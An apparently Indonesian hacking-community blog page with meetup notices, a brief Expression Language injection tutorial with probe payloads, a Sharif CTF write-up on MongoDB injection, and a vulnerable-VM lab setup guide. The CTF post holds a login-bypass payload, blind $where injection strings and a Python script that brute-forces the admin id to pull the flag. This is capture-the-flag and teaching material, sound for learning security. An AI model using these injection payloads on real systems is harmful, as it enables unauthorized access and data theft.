Indonesian Backtrack Team | Jabodetabek : Gathering #4

00:30 |
Info selengkapnya bisa dilihat dipamflet berikut :




Contact Person :
1.Cyberking : 0896 1000 0978
2.Balonns : 0838 7013 8285

Read more…

Dokumentasi Gathering IBT 25/10/2014

19:47 |














Read more…

El Injection

06:29 |


El injection(Expression Language Injection)

Apa itu Expression language : expression language adalah bahasa pemrograman bertujuan khusus untuk dengan mudah mengakses data aplikasi yang tersimpan di Java Beans components,system objects,managing application,devices and services. Mereka digunakan untuk embedding ekspresi seperti aritmatika dan ekspresi logis dalam halaman web.
Admin menggunakannya untuk melakukan tugas-tugas seperti membaca data, menulis data, dll
Siapa yang menemukan El Injection ? Sir Stefano Di Paola, adalah orang yang menemukan kerentanan yang menarik ini pada tahun 2011.
Jadi, sekarang Anda mungkin sudah menebak apa yang dapat dilakukan dengan injeksi EL. Aplikasi ditargetkan memutuskan lingkup kerentanan.
Memanfaatkan kerentanan yang dapat memberikan hasil dengan XSS, RCE dan juga dapat mengambil data dari database! Kerentanan terjadi ketika sebuah aplikasi web adalah menjalankan versi lama dari clearspace yang sekarang dikenal sebagai Jive Software.
Clearspace adalah alat manajemen pengetahuan dan terintegrasi dengan Spring Framework.
Clearspace rentan terhadap bug ini karena pola EL digunakan dalam JSP Tag.
Bagaimana cara penyerangannya ? contohnya seperti ini
kita kirim dengan get unauth dan kita isi proses aritmatika 100 x 3 https://target-site/login!input.jspa?unauth=${100*3}. dan nanti pada source nya akan muncul hasil dari 100*3
s652sx

dan kita coba dengan query yang lain  https://target-site/login!input.jspa?unauth=${99999+1}
oye
dari hasil seperti ini mungkin bisa di explore sampai bisa maitening access atau sebagainya
bagaimana cara patching ?
yang harus di lakukan adalah update
Sources : https://evilzone.org/tutorials/el-injection
Read more…

Mongo Db Injection | Sharif CTF | Indonesian Backtrack Gathering

06:27 |
ctf.sharif.edu kompetisi ctf internasional yang gk sengaja ane temuin di google dan menemukan challange mongodb injection + writeupnya yang sangat menarik dalam soal itu seperti ini instruksinya


Quote:login and find the flag
http://ctf.sharif.edu:25489


tampilan websitenya seperti ini  :



ada form login dengan field username+password+captcha

pertama yang saya lakukan coba untuk view page source untuk mencari clue" , dan tidak ada   . kemudian coba untuk login menggunakan bypass sqli menggunakan ' OR ' = 1=1 ,dsb

favicon di website tersebut coba kita scan menggunakan exiftool


Quote:# exiftool favicon.png
...

File Name         : favicon.png
Directory         : .
File Size         : 2.6 kB
File Modification : 2014:09:23 12:59:18+02:00
File Permissions  : rw-r--r--
File Type         : PNG
MIME Type         : image/png

...

Thumb URI : file:///Users/alz/Developer/git/pictonic/assets/svgs/3e91140ac1bfb9903b91c1b0ca092167.svg

...



Menarik file png yang jadi favicon itu ternyata hasil conver dari file .svg , coba kita search file svg nya di google


dan :D kita mengetahui sekarang bahwa backend untuk database mereka bukan pakai MySQL/PgSQL tapi pakai MongoDB

karena kita sudah tau menggunakan MongoDB coba cari cara untuk menyerang MongoDB seperti ini

Mongo injection

Di website itu kita belajar bagaimana MongoDB + Php bekerja


Quote:$collection->find(array(
"username" = $_GET['username'],
"passwd" = $_GET['passwd']
));



Script di atas sama dengan


Quote:mysql_query("SELECT * FROM collection
WHERE username=" . $_GET['username'] . ",
 AND passwd=" . $_GET['passwd'])


biasanya untuk bypass login form kita buat query selalu mengembalikan nilai true walaupun yang kita masukan username dan password salah seperti


Quote:$collection->find(array
 "username" => "admin",
"passwd" => array("$ne" = 1)
));

$ne adalah operator mongodb yang maksudnya != ( tidak sama dengan )
Sama Dengan


Code:
SELECT * FROM collection
WHERE username="admin",
AND passwd!=1


Dari 2 script di atas kita ketahui bahwa jika passwd != 1 maka nilai yang di kembalikan query (true) atau benar
karena password yang di input tidak benar . maka akan masuk ke dashboard admin
gunakan tamper data untuk mengirimkan post data

Quote:
Code:
username=admin&password[$ne]=1&captcha=AXBYCZ

sesuaikan captcha dengan yang benar
selain dengan tamper data , juga bisa menggunakan inspect element atau firebug untuk bypass login
setelah login akan muncul dashboard seperti ini



 
di panel admin ini di sediakan beberapa source code dari file seperti : login.php , init.php , api.php , panel.php
coba kita lihat ke login.php
Quote:
Code:
<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:03 AM
*/
session_start();
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$username = $_POST['username'];
$password = $_POST['password'];
$q = array(
   'username' => $username,
   'password' => $password
);

include 'Captcha.php';
$v = Captcha::validate($_POST['captcha']);
if ($v) {
   $_SESSION['time'] = intval(time() / 60);
   $_SESSION['count'] = 25;
}else{
   die('invalid captcha');
}

$user = $users_col->findOne($q);
if(is_null($user)){
   #header("Location: login-failed.html");
   die('invalid username or password');
}else{
   $_SESSION['id'] = $user['_id']->{'$id'};
   header("Location: panel.php");
   die();
}

kalau di script login.php kita bisa liat array nya dipisah


Quote:
Code:
$q = array(
'username' => $username,
'password' => $password
);
$user = $users_col->findOne($q);

sama dengan

Quote:
Code:
$collection->find(array(
   "username" => $_GET['username'],
   "passwd" => $_GET['passwd']
));

lanjut kita liat script init.php


Quote:
Code:
<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:00 AM
*/

function generateRandomString($length = 10)
{
   $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $randomString = '';
   for ($i = 0; $i < $length; $i++) {
       $randomString .= $characters[rand(0, strlen($characters) - 1)];
   }
   return $randomString;
}

$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$flag_col = $db->flag;
$user = $users_col->findOne(array('username' => 'admin'));
$flag = $flag_col->findOne();

// old codes
//$staffs = array('gholi','bobak','bijan','arash');
//
//foreach($staffs as $staff){
//    $users_col->insert(array(
//        'username' => $staff,
//        'role'=>'staff',
//        'password' => generateRandomString(20),
//    ));
//}

//$visitors = array('noone','bob','john','alice');
//
//foreach($visitors as $visitor){
//    $users_col->insert(array(
//        'username' => $visitor,
//        'role'=>'visitor',
//        'password' => generateRandomString(10),
//    ));
//}

if (is_null($user)) {
   $users_col->insert(array(
       'username' => 'admin',
       'role'=>'admin',
       'password' => generateRandomString(30),
   ));
}
if (is_null($flag)) {
   $flag_col->insert(array(
       'flag' => generateRandomString(30),
   ));
}
?>

penjelasannya di situ ada function random string untuk generate password,id,flag dan ada query insert flag sama insert admin dan init.php ini sepertinya yang akan diload pada setiap file karena koneksi mongodb di buka di script ini
trus coba kita liat script selanjutnya api.php


Quote:
Code:
<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:25 AM
*/
session_start();
if (is_null($_SESSION['id'])) {
   header("Location: index.html");
   die();
}
$ajax = false;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) AND strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
   $ajax = true;
}
if (!$ajax) {
   die();
}
$T = 60;
$N = 20;
$t = intval(time() / $T);
if ($_SESSION['time'] < $t) {
   $_SESSION['time'] = intval(time() / $T);
   $_SESSION['count'] = $N;
} else {
   if ($_SESSION['count'] <= 0) {
       header('Content-Type: application/json');
       echo json_encode(array("You are so fast. Please slow down. And wait for one minute."));
       die();
   }
   $_SESSION['count'] = $_SESSION['count'] - 1;
}
$q = '';
if (isset($_GET['q'])) {
   $q = $_GET['q'];
}
if ($q == 'users') {
   $role = $_GET['role'];
   $m = new MongoClient();
   $db = $m->ctf5;
   $users_col = $db->users;
   $users = $users_col->find(array(
       '$where' => "this.role == '$role'"
   ));
   $names = array();
   foreach ($users as $user) {
       $names[] = $user['username'];
   }
   header('Content-Type: application/json');
   echo json_encode($names);
}
if ($q == 'flag') {
   $id = $_GET['id'];
   $m = new MongoClient();
   $db = $m->ctf5;
   $flag_col = $db->flag;
   $flag = $flag_col->findOne(array('_id' => new MongoId($id)));
   var_dump($flag);
}
?>

fle api.php hanya bisa di buka ketika kita sudah login sehingga $_Session[id] != 0 , dan untuk mengakses file ini kita harus mengganti header dengan XMLHttpRequest
Get parameter Q di gunakan untuk 2 value :
– Untuk mendapatkan user dengan role yang di spesifikasaikan di GET role
-Untuk mendapatkan flag dengan memasukan id dari role admin



Code:
api.php?q=flag&id=

Didalam File init.php admin user dan flag di insert pada waktu yang sama di mongodb kita dapat menganggap $id mereka berturut" jika kita bisa mendapatkan $id admin user maka kita akan mudah untuk mendapatkan $id flag

Kesimpulannya kita mencari : - $id dari admin user , - masukan $id untuk dapatkan flag

Quote:
Code:
<?php
if ($q == 'users') {
   $role = $_GET['role'];
   $m = new MongoClient();
   $db = $m->ctf5;
   $users_col = $db->users;
   $users = $users_col->find(array(
       '$where' => "this.role == '$role'"
   ));
   $names = array();
   foreach ($users as $user) {
       $names[] = $user['username'];
   }
   header('Content-Type: application/json');
   echo json_encode($names);
}
?>

 
kita akan melakukan blind mongodb injection untuk menebak dari $id dan memanfaatkan oracle response

Quote:api.php?q=user&role=admin’ && (this._id.str[x]==’Y’) && ‘1’==’1

x dan y adalah yang akan di rubah untuk bruteforce .. ketika response dari oracle == 9 maka digit itu benar kemudian lanjut ke digit selanjutnya
disini pakai python untuk mengimplementasikan attacknya



Quote:
Code:
#!/usr/bin/python

import urllib
import requests
import time

baseUrl = "http://ctf.sharif.edu:25489/api.php?q=users&role="
headers = {'X-Requested-With': 'XMLHttpRequest'}
cookies = dict(PHPSESSID='amuedn0ra3fhj0diatdb4kkkt1')
admin_id = ''

# Guessing admin id
for c in range(0, 24):
   print("[*] Guessing character "+str(c + 1))
   for x in range(0x10):
       letter = format(x,'x')
       query = "admin' && (this._id.str[" + str(c) + "]=='" + letter + "') && '1'=='1"
       url = baseUrl + urllib.quote_plus(query)
       response = requests.get(url, headers = headers, cookies=cookies)
       if len(response.text)==9:
           admin_id += format(x, 'x')
           print("    + Admin id guessed: " + admin_id)
           print("")
           break

       time.sleep(1)

# Getting the flag
print("[*] Go for the flag!")
flag_id = format(int(admin_id, 16) + 1, 'x')
url = "http://ctf.sharif.edu:25489/api.php?q=flag&id="+flag_id
response = requests.get(url, headers = headers, cookies=cookies)
print response.text

Code:
# ./sharif14_pwnit.py
[*] Guessing character 1
   + Admin id guessed: 5

[*] Guessing character 2
   + Admin id guessed: 53

[...]

[*] Guessing character 23
   + Admin id guessed: 53fadd3d7137a495319e10f

[*] Guessing character 24
   + Admin id guessed: 53fadd3d7137a495319e10f3


[*] Go for the flag!

array(2) {
 ["_id"]=>
 object(MongoId)#7 (1) {
   ["$id"]=>
   string(24) "53fadd3d7137a495319e10f4"
 }
 ["flag"]=>
 string(30) "9fmTOOdbm1A76o40Bb9N3wpqvozdJI"
}

Source : http://blog.dul.ac/2014/10/SHARIF_QUALS_14/
Read more…

Indonesian Backtrack Team | Jabodetabek : Gathering #3

22:48 |

Info selengkapnya bisa dilihat dipamflet berikut :



Contact Person :
1.Cyberking : 0896 1000 0978
2.Balonns : 0838 7013 8285


Read more…

Cyber Jawara 2014 Competition

22:37 |
daftar team dari seluruh indonesia yang mengikuti lomba cyber jawara online
kurang lebih ada 100 tim yang akan mengikuti cyber jawara online  dan
hanya 10 tim pemenang yang akan mengikuti lomba offline di bandung atau tahap final ...



Read more…

Vulnerable By Design De-Ice

22:22 |
Install De-ice for Virtual Hacking Lab , apa itu De-Ice ? hackingdojo.com

[hide]
singkatnya de-ice adalah vulnerability yang sudah di desain untuk bahan pembelajaran seperti pwnOs , kioptrix dan lain-lain . nah de-ice ini ada 3 level kalian bissa download iso nya di sini sourceforge.net/projects/virtualhacking/files/os/de-ice

apa yang di butuhkan untuk install de-ice kalau ane menggunakan linux backbox jadi install vmware workstation linux x86_64 buat 64 bit di sini https://www.vmware.com/go/downloadworkstation

 untuk download vmware kalian harus buat akun terlebih dahulu,pilih paket installasi yang sesuai dengan komputer nya . untuk windows install seperti biasa , untuk linux gunakan command

Quote:


nanti munul GUI dan install vmware seperti biasa , setelah selesai install vmware buka vmware dan konfigurasi jaringannya

pilih Edit > virtual network

+ Add network > vmnet 2 > Host Only > Subnet 192.168.1.2

DHCP = Yes

Quote:


setelah selesai configurasi network , kita install de-ice pilih
  • File > New virtual Machine
  • Typical (Recomended) > Next
  • Use Iso Image > de-ice.iso > Next
  • Linux > Other Linux 2.6.x Kernel > Next
  • Name and location default > next
  • Split > next
  • Custumize hardware > Network Adapter > Custom Specified > vmnet2
  • Finish
run your vmware machine

Quote:


masuk ke terminal dan ketik command ini



Quote:netdiscover -r 192.168.1.0/24 -i vmnet2

[/hide]

nanti akan muncul ip dari vmware nya yang sedang jalanin machine De-Ice

mungkin dapat <strong>192.168.1.100  </strong>kalau sudah bisa di akses server siap untuk di pentest

Quote:


My Website
Thanks : hackingdojo , muhammad alim , eric draven , double-dragon
Read more…

Followers

Total Tayangan Laman